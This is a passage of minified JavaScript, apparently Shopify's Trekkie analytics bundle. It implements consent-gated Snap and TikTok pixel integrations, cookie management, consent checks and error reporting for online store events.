t) { 2186 e.__proto__ = t 2187 } || function(e, t) { 2188 for (var n in t) Object.prototype.hasOwnProperty.call(t, n) && (e[n] = t[n]) 2189 }, o(e, t) 2190 }, function(e, t) { 2191 function n() { 2192 this.constructor = e 2193 } 2194 o(e, t), e.prototype = null === t ? Object.create(t) : (n.prototype = t.prototype, new n) 2195 }), 2196 i = this && this.__assign || function() { 2197 return i = Object.assign || function(e) { 2198 for (var t, n = 1, o = arguments.length; n < o; n++) 2199 for (var r in t = arguments[n]) Object.prototype.hasOwnProperty.call(t, r) && (e[r] = t[r]); 2200 return e 2201 }, i.apply(this, arguments) 2202 }; 2203 Object.defineProperty(t, "__esModule", { 2204 value: !0 2205 }), t.Snap = void 0; 2206 var a = n(7385), 2207 s = n(1503), 2208 c = n(1102), 2209 u = n(542), 2210 d = n(7662), 2211 p = function(e) { 2212 function t(n, o, r) { 2213 return e.call(this, t.defaultOptions, o, r) || this 2214 } 2215 return r(t, e), t.prototype.initialize = function() { 2216 this.setPixelStub(), this.loadSnapScript(); 2217 var t = this.options; 2218 window.snaptr("init", t.pixelId), e.prototype.initialize.call(this) 2219 }, t.prototype.name = function() { 2220 return "Snap Pixel" 2221 }, t.prototype.type = function() { 2222 return u.IntegrationTypes.ECOMMERCE 2223 }, t.prototype.hasConsent = function(e) { 2224 return d.marketingAllowed(e) && d.saleOfDataAllowed(e) 2225 }, t.prototype.identify = function(e) { 2226 throw new Error("identify is not supported") 2227 }, t.prototype.page = function(e) { 2228 this.emitEvent("PAGE_VIEW", null == e ? void 0 : e.eventId, a.ANALYTICS_PAGE_VIEW, { 2229 integration: "shopify-native" 2230 }) 2231 }, t.prototype.track = function(e) { 2232 var t = {}; 2233 for (var n in e.properties) "revenue" === n ? t.price = this.formatRevenue(e.properties.revenue) : t[n] = e.properties[n] 2234 }, t.prototype.viewedProductCategory = function(e) {}, t.prototype.viewedProductVariant = function(e) {}, t.prototype.viewedProduct = function(e) { 2235 var t = e.properties, 2236 n = { 2237 item_ids: this.getProductVariantId(t), 2238 item_type: this.getProductContentType(t), 2239 description: t.name || "", 2240 item_category: this.getProductContentIds(t), 2241 currency: this.getCurrency(t.currency), 2242 price: this.formatRevenue(t.price), 2243 integration: "shopify-native" 2244 }; 2245 this.emitEvent("VIEW_CONTENT", e.eventId, a.ANALYTICS_VIEWED_PRODUCT, n) 2246 }, t.prototype.addedProduct = function(e) { 2247 var t = e.properties, 2248 n = { 2249 item_ids: this.getProductVariantId(t), 2250 item_type: this.getProductContentType(t), 2251 description: t.name || "", 2252 item_category: this.getProductContentIds(t), 2253 currency: this.getCurrency(t.currency), 2254 price: this.formatRevenue(t.price), 2255 number_items: this.getProductNumItems(t), 2256 integration: "shopify-native" 2257 }; 2258 this.emitEvent("ADD_CART", e.eventId, a.ANALYTICS_ADDED_PRODUCT, n) 2259 }, t.prototype.addedPayment = function(e) { 2260 var t = e.properties, 2261 n = { 2262 currency: this.getCurrency(t.currency), 2263 price: this.formatRevenue(t.total), 2264 integration: "shopify-native" 2265 }; 2266 this.emitEvent("ADD_BILLING", e.eventId, a.ANALYTICS_ADDED_PAYMENT, n) 2267 }, t.prototype.performedSearch = function(e) { 2268 var t = { 2269 search_string: e.properties.query || "", 2270 integration: "shopify-native" 2271 }; 2272 this.emitEvent("SEARCH", e.eventId, a.ANALYTICS_PERFORMED_SEARCH, t) 2273 }, t.prototype.startedOrder = function(e) { 2274 var t = e.properties, 2275 n = { 2276 item_ids: this.getOrderContentIds(t), 2277 item_type: this.getOrderContentType(t), 2278 currency: this.getCurrency(t.currency), 2279 price: this.formatRevenue(t.revenue), 2280 number_items: this.getOrderNumItems(t), 2281 integration: "shopify-native" 2282 }; 2283 this.emitEvent("START_CHECKOUT", e.eventId, a.ANALYTICS_STARTED_ORDER, n) 2284 }, t.prototype.completedOrder = function(e) { 2285 var t, n = e.properties, 2286 o = c.objectAssignFilterUndefined({ 2287 item_ids: this.getOrderContentIds(n), 2288 item_type: this.getOrderContentType(n), 2289 currency: this.getCurrency(n.currency), 2290 description: n.orderName || (null === (t = n.orderId) || void 0 === t ? void 0 : t.toString()) || "", 2291 price: this.formatRevenue(n.revenue), 2292 number_items: this.getOrderNumItems(n), 2293 integration: "shopify-native" 2294 }, { 2295 transaction_id: n.orderId 2296 }); 2297 this.emitEvent("PURCHASE", e.eventId, a.ANALYTICS_COMPLETED_ORDER, o) 2298 }, t.prototype.setPixelStub = function() { 2299 window.snaptr && "function" == typeof window.snaptr || (window.snaptr = function() { 2300 window.snaptr.handleRequest ? window.snaptr.handleRequest.apply(window.snaptr, arguments) : window.snaptr.queue.push(arguments) 2301 }, window.snaptr.queue = [], window.snaptr.push = window.snaptr, window.snaptr.loaded = !0) 2302 }, t.prototype.loadSnapScript = function() { 2303 var e = s.virtualDocument().createElement("script"); 2304 e.async = !0, e.src = "https://sc-static.net/scevent.min.js"; 2305 var t = s.virtualDocument().getElementsByTagName("script")[0]; 2306 void 0 === t ? document.head.appendChild(e) : t.parentNode.insertBefore(e, t) 2307 }, t.prototype.emitEvent = function(e, t, n, o) { 2308 window.snaptr("track", e, i({ 2309 integration: "shopify-native" 2310 }, o)), this.addMonorailBatchEvent(c.objectAssignFilterUndefined({ 2311 eventName: n 2312 }, { 2313 eventId: t, 2314 eventProperties: o ? JSON.stringify(o) : void 0 2315 })) 2316 }, t.prototype.formatRevenue = function(e) { 2317 return Number(e || 0).toFixed(2) 2318 }, t.prototype.getCurrency = function(e) { 2319 return e || "USD" 2320 }, t.prototype.getProductContentIds = function(e) { 2321 var t = e.productId || e.variantId || e.sku; 2322 return t ? [t] : [] 2323 }, t.prototype.getProductVariantId = function(e) { 2324 return e.variantId || e.sku || "" 2325 }, t.prototype.getProductContentType = function(e) { 2326 return e.productId ? "product_group" : "product" 2327 }, t.prototype.getProductNumItems = function(e) { 2328 return e.quantity || this.getProductContentIds(e).length 2329 }, t.prototype.getProductKey = function(e) { 2330 return e.productId || e.variantId || e.sku 2331 }, t.prototype.getOrderContentIds = function(e) { 2332 for (var t = [], n = 0, o = e.products || []; n < o.length; n++) { 2333 var r = o[n], 2334 i = this.getProductVariantId(r); 2335 i && -1 === t.indexOf(i) && t.push(i) 2336 } 2337 return t 2338 }, t.prototype.getOrderContentType = function(e) { 2339 for (var t = 0, n = e.products || []; t < n.length; t++) 2340 if (n[t].productId) return "product_group"; 2341 return "product" 2342 }, t.prototype.getOrderNumItems = function(e) { 2343 for (var t = 0, n = 0, o = e.products || []; n < o.length; n++) { 2344 var r = o[n]; 2345 this.getProductKey(r) && (t += r.quantity || 1) 2346 } 2347 return t 2348 }, t.prototype.getEcommerceMetricsTag = function() { 2349 return "snap" 2350 }, t.prototype.getIntegrationId = function() { 2351 return "Snap" 2352 }, t.prototype.getEcommercePixelIds = function() { 2353 return [this.options.pixelId] 2354 }, t.defaultOptions = { 2355 pixelId: "" 2356 }, t 2357 }(a.EcommerceIntegration); 2358 t.Snap = p 2359 }, 2360 342: function(e, t, n) { 2361 "use strict"; 2362 var o, r = this && this.__extends || (o = function(e, t) { 2363 return o = Object.setPrototypeOf || { 2364 __proto__: [] 2365 } 2366 instanceof Array && function(e, t) { 2367 e.__proto__ = t 2368 } || function(e, t) { 2369 for (var n in t) Object.prototype.hasOwnProperty.call(t, n) && (e[n] = t[n]) 2370 }, o(e, t) 2371 }, function(e, t) { 2372 function n() { 2373 this.constructor = e 2374 } 2375
2375 o(e, t), e.prototype = null === t ? Object.create(t) : (n.prototype = t.prototype, new n) 2376 }); 2377 Object.defineProperty(t, "__esModule", { 2378 value: !0 2379 }), t.TikTok = void 0; 2380 var i = n(7385), 2381 a = n(1503), 2382 s = n(542), 2383 c = n(1102), 2384 u = n(7662), 2385 d = function(e) { 2386 function t(n, o, r) { 2387 return e.call(this, t.defaultOptions, o, r) || this 2388 } 2389 return r(t, e), t.prototype.initialize = function() { 2390 var t = this.options; 2391 this.setPixelStub(), this.loadTikTokScript(t.pixelId), e.prototype.initialize.call(this) 2392 }, t.prototype.name = function() { 2393 return "TikTok Pixel" 2394 }, t.prototype.type = function() { 2395 return s.IntegrationTypes.ECOMMERCE 2396 }, t.prototype.hasConsent = function(e) { 2397 return u.marketingAllowed(e) && u.saleOfDataAllowed(e) 2398 }, t.prototype.identify = function(e) { 2399 throw new Error("identify is not supported") 2400 }, t.prototype.page = function(e) { 2401 window.ttq.page({ 2402 event_id: e.eventId 2403 }), this.addMonorailBatchEvent({ 2404 eventName: i.ANALYTICS_PAGE_VIEW, 2405 eventId: e.eventId 2406 }) 2407 }, t.prototype.track = function(e) {}, t.prototype.viewedProductCategory = function(e) {}, t.prototype.viewedProductVariant = function(e) {}, t.prototype.viewedProduct = function(e) { 2408 var t = e.properties, 2409 n = { 2410 content_id: this.getProductKey(t), 2411 content_type: this.getProductContentType(t), 2412 content_name: t.name || "", 2413 content_category: t.category || "", 2414 currency: this.getCurrency(t.currency), 2415 price: this.formatRevenue(t.price) 2416 }, 2417 o = this.options; 2418 this.emitEvent(o.pixelId, "ViewContent", e.eventId, i.ANALYTICS_VIEWED_PRODUCT, n) 2419 }, t.prototype.addedProduct = function(e) { 2420 var t = e.properties, 2421 n = { 2422 content_id: this.getProductKey(t), 2423 content_type: this.getProductContentType(t), 2424 content_name: t.name || "", 2425 content_category: t.category || "", 2426 currency: this.getCurrency(t.currency), 2427 price: this.formatRevenue(t.price), 2428 quantity: this.getProductNumItems(t) 2429 }, 2430 o = this.options; 2431 this.emitEvent(o.pixelId, "AddToCart", e.eventId, i.ANALYTICS_ADDED_PRODUCT, n) 2432 }, t.prototype.addedPayment = function(e) { 2433 var t = e.properties, 2434 n = { 2435 currency: this.getCurrency(t.currency), 2436 value: this.formatRevenue(t.total) 2437 }, 2438 o = this.options; 2439 this.emitEvent(o.pixelId, "AddBilling", e.eventId, i.ANALYTICS_ADDED_PAYMENT, n) 2440 }, t.prototype.performedSearch = function(e) { 2441 var t = { 2442 query: e.properties.query || "" 2443 }, 2444 n = this.options; 2445 this.emitEvent(n.pixelId, "Search", e.eventId, i.ANALYTICS_PERFORMED_SEARCH, t) 2446 }, t.prototype.startedOrder = function(e) { 2447 var t = e.properties, 2448 n = { 2449 contents: this.getOrderContents(t), 2450 value: this.formatRevenue(t.revenue), 2451 quantity: this.getOrderNumItems(t), 2452 currency: this.getCurrency(t.currency) 2453 }, 2454 o = this.options; 2455 this.emitEvent(o.pixelId, "StartCheckout", e.eventId, i.ANALYTICS_STARTED_ORDER, n) 2456 }, t.prototype.completedOrder = function(e) { 2457 var t = e.properties, 2458 n = { 2459 contents: this.getOrderContents(t), 2460 value: this.formatRevenue(t.revenue), 2461 quantity: this.getOrderNumItems(t), 2462 currency: this.getCurrency(t.currency) 2463 }, 2464 o = this.options; 2465 this.emitEvent(o.pixelId, "Purchase", e.eventId, i.ANALYTICS_COMPLETED_ORDER, n) 2466 }, t.prototype.setPixelStub = function() { 2467 if (!window.ttq || !window.ttq.loaded) { 2468 window.TiktokAnalyticsObject = "ttq"; 2469 var e = window.ttq = window.ttq || []; 2470 e.methods = ["page", "track", "identify", "instances", "debug", "on", "off", "once", "ready", "alias", "group"], e.setAndDefer = function(e, t) { 2471 e[t] = function() { 2472 e.push([t].concat(Array.prototype.slice.call(arguments, 0))) 2473 } 2474 }; 2475 for (var t = 0; t < e.methods.length; t++) e.setAndDefer(e, e.methods[t]); 2476 e.instance = function(t) { 2477 for (var n = e._i[t] || [], o = 0; o < e.methods.length; o++) e.setAndDefer(n, e.methods[o]); 2478 return n 2479 } 2480 } 2481 }, t.prototype.loadTikTokScript = function(e) { 2482 var t = window.ttq; 2483 t.load = function(e) { 2484 var n = "https://analytics.tiktok.com/i18n/pixel/events.js"; 2485 t._i = t._i || {}, t._i[e] = [], t._i[e]._u = n, t._t = t._t || {}, t._t[e] = Number(new Date), t._o = t._o || {}, t._partner = t._partner || "Shopify"; 2486 var o = a.virtualDocument().createElement("script"); 2487 o.type = "text/javascript", o.async = !0, o.src = n + "?sdkid=" + e + "&lib=ttq"; 2488 var r = a.virtualDocument().getElementsByTagName("script")[0]; 2489 void 0 === r ? document.head.appendChild(o) : r.parentNode.insertBefore(o, r), window.ttq.loaded = !0 2490 }, t.load(e) 2491 }, t.prototype.formatRevenue = function(e) { 2492 return Number(e || 0).toFixed(2) 2493 }, t.prototype.getCurrency = function(e) { 2494 return e || "USD" 2495 }, t.prototype.getProductContentType = function(e) { 2496 return e.productId ? "product_group" : "product" 2497 }, t.prototype.getProductNumItems = function(e) { 2498 return e.quantity || 1 2499 }, t.prototype.getProductKey = function(e) { 2500 return e.productId || e.variantId || e.sku || "" 2501 }, t.prototype.getOrderContents = function(e) { 2502 for (var t = [], n = 0, o = e.products || []; n < o.length; n++) { 2503 var r = o[n]; 2504 t.push({ 2505 content_id: this.getProductKey(r), 2506 content_type: this.getProductContentType(r), 2507 content_name: r.name || "", 2508 content_category: r.category || "", 2509 currency: this.getCurrency(r.currency), 2510 price: this.formatRevenue(r.price), 2511 quantity: this.getProductNumItems(r) 2512 }) 2513 } 2514 return t 2515 }, t.prototype.getOrderNumItems = function(e) { 2516 for (var t = 0, n = 0, o = e.products || []; n < o.length; n++) { 2517 var r = o[n]; 2518 this.getProductKey(r) && (t += r.quantity || 1) 2519 } 2520 return t 2521 }, t.prototype.emitEvent = function(e, t, n, o, r) { 2522 void 0 === r && (r = {}), window.ttq.instance(e).track(t, r, { 2523 event_id: n 2524 }), this.addMonorailBatchEvent(c.objectAssignFilterUndefined({ 2525 eventName: o 2526 }, { 2527 eventId: n, 2528 eventProperties: JSON.stringify(r) 2529 })) 2530 }, t.prototype.getEcommerceMetricsTag = function() { 2531 return "tiktok" 2532 }, t.prototype.getEcommercePixelIds = function() { 2533 return [this.options.pixelId] 2534 }, t.prototype.getIntegrationId = function() { 2535 return "TikTok" 2536 }, t.defaultOptions = { 2537 pixelId: "" 2538 }, t 2539 }(i.EcommerceIntegration); 2540 t.TikTok = d 2541 }, 2542 8831: function(e, t, n) { 2543 "use strict"; 2544 var o, r = this && this.__extends || (o = function(e, t) { 2545 return o = Object.setPrototypeOf || { 2546 __proto__: [] 2547 } 2548 instanceof Array && function(e, t) { 2549 e.__proto__ = t 2550 } || function(e, t) { 2551 for (var n in t) Object.prototype.hasOwnProperty.call(t, n) && (e[n] = t[n]) 2552 }, o(e, t) 2553 }, function(e, t) { 2554 function n() { 2555 this.constructor = e 2556 } 2557 o(e, t), e.prototype = null === t ? Object.create(t) : (n.prototype = t.prototype, new n) 2558 }), 2559 i = this && this.__assign || function() { 2560 return i = Object.assign || function(e) { 2561 for (var t, n = 1, o = arguments.length; n < o; n++) 2562 for (var r in t = arguments[n]) Object.prototype.hasOwnProperty.call(t, r) && (e[r] = t[r]); 2563 return e 2564 }, i.apply(this, arguments) 2565 }; 2566 Object.defineProperty(t, "__esModule", { 2567 value: !0 2568 }), t.Trekkie = void 0; 2569 var a = n(372), 2570 s = n(1930), 2571 c = n(997), 2572 u = n(6997), 2573 d = n(542), 2574 p = n(6851), 2575 l = n(7385), 2576 f = n(7662), 2577 g = function(e) { 2578 function t(t, n, o) { 2579 return e.call(this, {}, {}, o) || this 2580 } 2581 return r(t, e), t.prototype.initialize = function() { 2582 this.defaultAttributes = p.default.attributes, u.cleanupOverScopedCookies(), e.prototype.initialize.call(this) 2583 }, t.prototype.name = function() { 2584 return "Trekkie" 2585 }, t.prototype.type = function() { 2586 return d.IntegrationTypes.INTEGRATION 2587 }, t.prototype.hasConsent = function(e) { 2588 return f.analyticsProcessingAllowed(e) 2589 }, t.prototype.identify = function(e) {}, t.prototype.page = function(e) { 2590 var t = s.appNameToPageViewSchemaId[p.default.appName];
2591 this.emit("page", e, t) 2592 }, t.prototype.track = function(e) { 2593 if (l.analyticsEvents.checkoutOnePageView.test(e.event)) { 2594 var t = e.properties; 2595 this.page(t.page) 2596 } else { 2597 var n = s.extractSchemaIdFromEventName(e.event); 2598 this.emit("track", e, n) 2599 } 2600 }, t.prototype.emit = function(e, t, n) { 2601 p.default.incrementMicroSessionCount(), t = a.Integration.flatten(t); 2602 var o = i(i({}, t), p.default.attributes); 2603 o.eventType = e, n && c.produce([{ 2604 schemaId: n, 2605 payload: o 2606 }]) 2607 }, t 2608 }(a.Integration); 2609 t.Trekkie = g 2610 }, 2611 9115: function(e, t) { 2612 "use strict"; 2613 Object.defineProperty(t, "__esModule", { 2614 value: !0 2615 }), t.TREKKIE_GOOGLE_CONSENT_MODE = void 0; 2616 var n = new(function() { 2617 function e() { 2618 this.betaFlagsProps = [] 2619 } 2620 return e.prototype.initialize = function(e) { 2621 void 0 === e && (e = []), this.betaFlagsProps = e 2622 }, e.prototype.resetState = function() { 2623 this.betaFlagsProps = [] 2624 }, Object.defineProperty(e.prototype, "betaFlags", { 2625 get: function() { 2626 return this.betaFlagsProps 2627 }, 2628 enumerable: !1, 2629 configurable: !0 2630 }), e.prototype.isEnabled = function(e) { 2631 return !!this.betaFlagsProps && this.betaFlagsProps.includes(e) 2632 }, e 2633 }()); 2634 t.TREKKIE_GOOGLE_CONSENT_MODE = "bbcf04e6", t.default = n 2635 }, 2636 6997: function(e, t, n) { 2637 "use strict"; 2638 Object.defineProperty(t, "__esModule", { 2639 value: !0 2640 }), t.resetCookieDomain = t.determineCookieDomain = t.cleanupOverScopedCookies = t.clear = t.write = t.isPersistentCookie = t.read = t.allowed = t.disable = t.enabled = t.cleanupMyShopifyDotComCookie = t.cookieImpl = t.parseDocumentCookie = void 0; 2641 var o, r, i = n(1503), 2642 a = n(542), 2643 s = n(2724), 2644 c = n(7662), 2645 u = n(7668), 2646 d = n(725), 2647 p = n(1102), 2648 l = "myshopify.com", 2649 f = [l, "spin.dev"], 2650 g = new Date(0); 2651 2652 function _(e) { 2653 for (var t = {}, n = 0, o = e.split(/ *; */); n < o.length; n++) { 2654 var r = o[n].split("="); 2655 try { 2656 t[decodeURIComponent(r[0])] = decodeURIComponent(r[1] || "") 2657 } catch (e) {} 2658 } 2659 return t 2660 } 2661 2662 function h(e) { 2663 if (void 0 === o) 2664 if (function() { 2665 for (var e = 0, t = f; e < t.length; e++) 2666 if (E(t[e])) return !0; 2667 return !1 2668 }()) o = d.hostname(); 2669 else { 2670 for (var t = "", n = 0, r = d.hostname().split(".").reverse(); n < r.length; n++) { 2671 var i = r[n]; 2672 t = "" === t ? "." + i : "." + i + t; 2673 var a = p.generateShopifyDValue(); 2674 if (y(e, a, 0, t), v(e, a)) return void(o = t) 2675 } 2676 o = "" 2677 } 2678 } 2679 2680 function v(e, n) { 2681 var o = t.cookieImpl.read(e); 2682 return !!o && o === n 2683 } 2684 2685 function y(e, n, o, r, i) { 2686 void 0 === i && (i = "Lax"); 2687 var a = { 2688 domain: r, 2689 path: "/", 2690 maxage: o, 2691 samesite: i 2692 }; 2693 t.cookieImpl.write(e, n, a) 2694 } 2695 2696 function E(e) { 2697 var t = d.hostname().split(".").reverse(), 2698 n = e.split(".").reverse(); 2699 return t[0] === n[0] && t[1] === n[1] 2700 } 2701 2702 function m() { 2703 return E(l) 2704 } 2705 t.parseDocumentCookie = _, t.cookieImpl = { 2706 parse: _, 2707 read: function(e) { 2708 if (t.cookieImpl.enabled()) return t.cookieImpl.parse(i.virtualDocument().cookie())[e] 2709 }, 2710 write: function(e, n, o) { 2711 if (void 0 === o && (o = {}), t.cookieImpl.enabled() && t.cookieImpl.allowed(e)) { 2712 var r = encodeURIComponent(e) + "=" + encodeURIComponent(n); 2713 o.maxage && (o.maxage < 0 ? o.expires = g : o.expires = new Date((new Date).getTime() + o.maxage)), o.path && (r += "; path=" + o.path), o.domain && (r += "; domain=" + o.domain), (o.maxage < 0 || o.expires) && (r += "; expires=" + o.expires.toUTCString()), o.samesite ? r += "; SameSite=" + o.samesite : r += "; SameSite=Lax", o.secure && (r += "; secure"); 2714 try {
2715 i.virtualDocument().setCookie(r) 2716 } catch (e) { 2717 t.cookieImpl.disable() 2718 } 2719 } 2720 }, 2721 enabled: function(e) { 2722 if (void 0 === e && (e = !1), !e && void 0 !== r) return r; 2723 try { 2724 r = i.virtualDocument().cookieEnabled() && void 0 !== i.virtualDocument().cookie() 2725 } catch (e) { 2726 r = !1 2727 } 2728 return r 2729 }, 2730 disable: function() { 2731 r = !1 2732 }, 2733 allowed: function(e) { 2734 if ([u.shortTermKey, u.longTermKey].includes(e)) return c.haveConsentForMarketingOrAnalytics(); 2735 var t = function(e) { 2736 var t; 2737 return ((t = {})[s.sessionAttributionParamsKey] = a.ConsentPurposes.ANALYTICS, t[s.sessionAttributionTimestampKey] = a.ConsentPurposes.ANALYTICS, t)[e] 2738 }(e); 2739 return void 0 === t || c.haveConsentForPurpose(t) 2740 }, 2741 isPersistentCookie: function() { 2742 var e = t.cookieImpl.read("_shopify_m"); 2743 return void 0 === e || "persistent" === e 2744 } 2745 }, t.cleanupMyShopifyDotComCookie = function(e) { 2746 if (m()) { 2747 var t = e + "=; path=/; max-age=0; expires=Thu, 01 Jan 1970 00:00:01 GMT; SameSite=Lax"; 2748 i.virtualDocument().setCookie(t) 2749 } 2750 }, t.enabled = function() { 2751 return t.cookieImpl.enabled() 2752 }, t.disable = function() { 2753 t.cookieImpl.disable() 2754 }, t.allowed = function(e) { 2755 return t.cookieImpl.allowed(e) 2756 }, t.read = function(e) { 2757 return t.cookieImpl.read(e) 2758 }, t.isPersistentCookie = function() { 2759 return t.cookieImpl.isPersistentCookie() 2760 }, t.write = function(e, t, n, r) { 2761 void 0 === r && (r = "Lax"), h(e), y(e, t, n ? 31104e6 : 18e5, o, r) 2762 }, t.clear = function(e) { 2763 h(e), y(e, "", -1, o), y(e, "", -1, "") 2764 }, t.cleanupOverScopedCookies = function() { 2765 if (m()) 2766 for (var e = 0, t = ["_shopify_s", "_shopify_sa_p", "_shopify_sa_t", "_shopify_y"]; e < t.length; e++) { 2767 var n = t[e] + "=; domain=." + l + "; path=/; max-age=0; expires=Thu, 01 Jan 1970 00:00:01 GMT; SameSite=Lax"; 2768 i.virtualDocument().setCookie(n) 2769 } 2770 }, t.determineCookieDomain = h, t.resetCookieDomain = function() { 2771 o = void 0 2772 } 2773 }, 2774 7662: function(e, t, n) { 2775 "use strict"; 2776 Object.defineProperty(t, "__esModule", { 2777 value: !0 2778 }), t.saleOfDataAllowed = t.preferencesProcessingAllowed = t.marketingAllowed = t.analyticsProcessingAllowed = t.resetConsentCookieCache = t.haveConsentForMarketingOrAnalytics = t.haveConsentForPurpose = t.notMarketingOrAnalyticsAllowed = t.saleOfDataNotAllowed = t.TrackingEvents = void 0; 2779 var o = n(1863), 2780 r = n(542); 2781 2782 function i(e) { 2783 return e && e.detail ? e.detail.analyticsAllowed : o.analyticsProcessingAllowed() 2784 } 2785 2786 function a(e) { 2787 return e && e.detail ? e.detail.marketingAllowed : o.marketingAllowed() 2788 } 2789 2790 function s(e) { 2791 return e && e.detail ? e.detail.preferencesAllowed : o.preferencesProcessingAllowed() 2792 } 2793 2794 function c(e) { 2795 return e && e.detail ? e.detail.saleOfDataAllowed : o.saleOfDataAllowed() 2796 } 2797 t.TrackingEvents = o.TrackingEvents, t.saleOfDataNotAllowed = function() { 2798 return !c() 2799 }, t.notMarketingOrAnalyticsAllowed = function() { 2800 return !(a() && i()) 2801 }, t.haveConsentForPurpose = function(e) { 2802 switch (e) { 2803 case r.ConsentPurposes.ANALYTICS: 2804 return i(); 2805 case r.ConsentPurposes.MARKETING: 2806 return a(); 2807 case r.ConsentPurposes.SALE_OF_DATA: 2808 return c(); 2809 case r.ConsentPurposes.PREFERENCES: 2810 return s(); 2811 default: 2812 return !0 2813 } 2814 }, t.haveConsentForMarketingOrAnalytics = function(e) { 2815 return e ? Boolean(e.analyticsAllowed || e.marketingAllowed) : this.haveConsentForPurpose(r.ConsentPurposes.ANALYTICS) || this.haveConsentForPurpose(r.ConsentPurposes.MARKETING) 2816 }, t.resetConsentCookieCache = function() { 2817 o.resetCookieCache() 2818 }, t.analyticsProcessingAllowed = i, t.marketingAllowed = a, t.preferencesProcessingAllowed = s, t.saleOfDataAllowed = c 2819 }, 2820 6851: function(e, t, n) { 2821 "use strict"; 2822 var o = this && this.__assign || function() { 2823 return o = Object.assign || function(e) { 2824 for (var t, n = 1, o = arguments.length; n < o; n++) 2825 for (var r in t = arguments[n]) Object.prototype.hasOwnProperty.call(t, r) && (e[r] = t[r]); 2826 return e 2827 }, o.apply(this, arguments) 2828 }; 2829 Object.defineProperty(t, "__esModule", { 2830 value: !0 2831 }); 2832 var r = n(7668), 2833 i = n(6997), 2834 a = n(2971), 2835 s = new(function() { 2836 function e() { 2837 this.defaultAttributes = {} 2838 } 2839 return e.prototype.initialize = function(e) { 2840 var t = !1; 2841 e.isServerSideCookieWritingEnabled && (t = !0), this.uniqueIdManager = new r.UniqueIdManager(t), this.defaultAttributes.appName = e.appName, this.defaultAttributes.uniqToken = this.uniqueIdManager.longTerm(), this.defaultAttributes.visitToken = this.uniqueIdManager.shortTerm(), this.defaultAttributes.microSessionId = r.buildToken(), this.defaultAttributes.microSessionCount = 0, this.defaultAttributes.isPersistentCookie = i.isPersistentCookie(), e.defaultAttributes && (this.defaultAttributes = o(o({}, e.defaultAttributes), this.defaultAttributes), a.setMetricsOptions(e.defaultAttributes.shopId)) 2842 }, e.prototype.incrementMicroSessionCount = function() { 2843 this.defaultAttributes.microSessionCount++ 2844 }, e.prototype.refreshVisitorTokens = function() { 2845 this.defaultAttributes.uniqToken = this.uniqueIdManager.longTerm(), this.defaultAttributes.visitToken = this.uniqueIdManager.shortTerm() 2846 }, e.prototype.resetState = function() { 2847 this.defaultAttributes = {} 2848 }, Object.defineProperty(e.prototype, "attributes", { 2849 get: function() { 2850 return this.defaultAttributes 2851 }, 2852 enumerable: !1, 2853 configurable: !0 2854 }), Object.defineProperty(e.prototype, "appName", { 2855 get: function() { 2856 return this.defaultAttributes.appName 2857 }, 2858 enumerable: !1, 2859 configurable: !0 2860 }), Object.defineProperty(e.prototype, "checkoutToken", { 2861 get: function() { 2862 return this.defaultAttributes.checkoutToken 2863 }, 2864 enumerable: !1, 2865 configurable: !0 2866 }), Object.defineProperty(e.prototype, "uniqToken", { 2867 get: function() { 2868 return this.defaultAttributes.uniqToken 2869 }, 2870 enumerable: !1, 2871 configurable: !0 2872 }), Object.defineProperty(e.prototype, "visitToken", { 2873 get: function() { 2874 return this.defaultAttributes.visitToken 2875 }, 2876 enumerable: !1, 2877 configurable: !0 2878 }), Object.defineProperty(e.prototype, "shopId", { 2879 get: function() { 2880 return this.defaultAttributes.shopId 2881 }, 2882 enumerable: !1, 2883 configurable: !0 2884 }), Object.defineProperty(e.prototype, "microSessionId", { 2885 get: function() { 2886 return this.defaultAttributes.microSessionId 2887 }, 2888 enumerable: !1, 2889 configurable: !0 2890 }), Object.defineProperty(e.prototype, "microSessionCount", { 2891 get: function() { 2892 return this.defaultAttributes.microSessionCount 2893 }, 2894 enumerable: !1, 2895 configurable: !0 2896 }), e 2897 }()); 2898 t.default = s 2899 }, 2900 2449: function(e, t, n) { 2901 "use strict"; 2902 Object.defineProperty(t, "__esModule", { 2903 value: !0 2904 }), t.setupEventIdService = void 0; 2905 var o = n(803); 2906 t.setupEventIdService = function() { 2907 return o.setupEventIdService() 2908 } 2909 }, 2910 725: function(e, t, n) { 2911 "use strict"; 2912 Object.defineProperty(t, "__esModule", { 2913 value: !0 2914 }), t.isShopifyDotCom = t.search = t.protocol = t.port = t.pathname = t.origin = t.setHref = t.href = t.hostname = t.host = t.hash = void 0; 2915 var o = n(7e3); 2916 2917 function r() { 2918 return o.virtualWindow().location().hostname 2919 } 2920 t.hash = function() { 2921 return o.virtualWindow().location().hash 2922 }, t.host = function() { 2923 return o.virtualWindow().location().host 2924 }, t.hostname = r, t.href = function() { 2925 return o.virtualWindow().location().href 2926 }, t.setHref = function(e) { 2927 o.virtualWindow().location().href = e 2928 }, t.origin = function() { 2929 var e = o.virtualWindow().location(); 2930 return e.origin ? e.origin : e.protocol + "//" + e.hostname + (e.port ? ":" + e.port : "") 2931 }, t.pathname = function() { 2932 return o.virtualWindow().location().pathname 2933 }, t.port = function() { 2934 return o.virtualWindow().location().port 2935 }, t.protocol = function() { 2936 return o.virtualWindow().location().protocol 2937 }, t.search = function() { 2938 return o.virtualWindow().location().search 2939 }, t.isShopifyDotCom = function(e) { 2940 return null !== (e = e || r()).match(/(^|\.)shopify\.com$/) 2941 } 2942 }, 2943 2971: function(e, t, n) { 2944 "use strict"; 2945 Object.defineProperty(t, "__esModule", { 2946 value: !0 2947 }
2947), t.sendToBugsnag = t.sendBugsnagXhr = t.shouldSendToBugsnag = t.reportError = t.logMetricToMonorail = t.setMetricsOptions = t.setGlobalSerializedAppConfig = t.errorsSchemaId = t.metricsSchemaId = void 0; 2948 var o, r, i = n(997), 2949 a = n(725), 2950 s = n(1102); 2951 t.metricsSchemaId = "trekkie_metrics/2.0", t.errorsSchemaId = "trekkie_errors/2.0", t.setGlobalSerializedAppConfig = function(e) { 2952 o = e 2953 }, t.setMetricsOptions = function(e) { 2954 r = e 2955 }, t.logMetricToMonorail = function(e, n) { 2956 var o = { 2957 metric_name: e 2958 }; 2959 r && (o.shop_id = r), n && (o.metadata = n), i.produce([{ 2960 schemaId: t.metricsSchemaId, 2961 payload: o 2962 }]) 2963 }, t.reportError = function(e, n, c) { 2964 var u = { 2965 name: n.name, 2966 line: n.lineNumber || n.line, 2967 script: n.fileName || n.sourceURL || n.script, 2968 stack: n.stackTrace || n.stack || n.description, 2969 message: n.message, 2970 url: a.href(), 2971 context: void 0 !== e ? e : null, 2972 appConfig: o || null, 2973 notes: c 2974 }; 2975 if (this.sendToBugsnag(u), !s.isUnstableBrowserVersion()) { 2976 